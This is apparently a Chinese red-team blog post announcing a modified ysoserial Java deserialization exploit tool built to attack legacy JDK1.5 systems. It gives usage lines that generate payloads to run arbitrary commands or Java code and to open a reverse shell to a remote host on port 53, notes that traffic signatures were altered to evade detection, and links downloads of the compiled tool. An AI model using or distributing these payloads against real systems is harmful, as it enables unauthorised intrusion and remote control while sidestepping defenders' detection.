Part1 前言
大家好,我是ABC_123。好久没有更新红队技术方面的文章了,自己之前写了很多小工具,后续修正一些bug修改后,陆续放出来给大家用一用。Ysoserial是老外写的java反序列化利用工具,但是其编译版本大多是JDK1.7、JDK1.8,少数是JDK1.6的,目前没见到支持JDK1.5的。在对一些以JDK1.5环境搭建的老旧系统进行java反序列化漏洞利用时,以JDK1.7编译的工具生成的序列化payload会因兼容性问题而无法利用,于是ABC_123就改写了这个修改版的java反序列化工具,解决这一问题。
注:文末有下载地址。
Part2 技术研究过程
从网上找到了一个Intellij IDEA 11的老旧版本的idea,导入ysoserial的代码。由于java版本是JDK1.5的,已经很老了,内置的多数java反序列化利用链对应的jar包就不支持JDK1.5的,造成大部分的java利用链无法在JDK1.5下正常编译。如下图所示,一大堆的代码报错。
最终经过大量的代码改写、兼容性改造、代码优化删减,终于使几条可用的利用链能够调通。
最后综合考虑,由于jdk1.5本身就存在java反序列化利用链JDK7u21,那么其他第3方jar包的利用链也没必要改写。于是ABC_123保留了JDK7u21、JDK7u21利用链修改版、JRMPClient、URLDNS这4个链,感觉足够在JDK1.5下使用了。
在改造ysoserial工具过程中,ABC_123稍微改了一些流量特征:比如将其中的类名替换为baidu关键字,将其中一些关键字替换为baidu等等。最终将上述代码重新编译,生成一个单jar包方便大家使用。
大致使用说明如下:
java -jar ysoserialJDK1.5编译.jar Jdk7u21 calc.exe直接执行命令,弹出计算器
java -jar ysoserialJDK1.5编译.jar Jdk7u21 base64cmd:Base64加密命令
java -jar ysoserialJDK1.5编译.jar Jdk7u21 sleep:10 延迟10秒
java -jar ysoserialJDK1.5编译.jar Jdk7u21 codefile:1.java 执行1.java文件中自定义的java代码
java -jar ysoserialJDK1.5编译.jar Jdk7u21 codebase64:xxxxxx 执行xxxx的base64加密的java代码
java -jar ysoserialJDK1.5编译.jar Jdk7u21 connect:x.x.x.x:53 反弹shell到x.x.x.x的53端口
java -jar ysoserialJDK1.5编译.jar JRMPClient 12.1.2.3:53
java -jar ysoserialJDK1.5编译.jar URLDNS http://www.xxx.com/
"ysoserialJDK1.5.jar"工具的下载地址
https://github.com/abc123info/ysoserial_JDK1.5/releases/tag/ysoserial1.5
https://wwsc.lanzouo.com/iwRor2qrfkta 密码:1234
Part3 总结
原文始发于微信公众号(希潭实验室):第117篇:ysoserial反序列化漏洞利用工具修改版,支持JDK1.5老旧系统
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论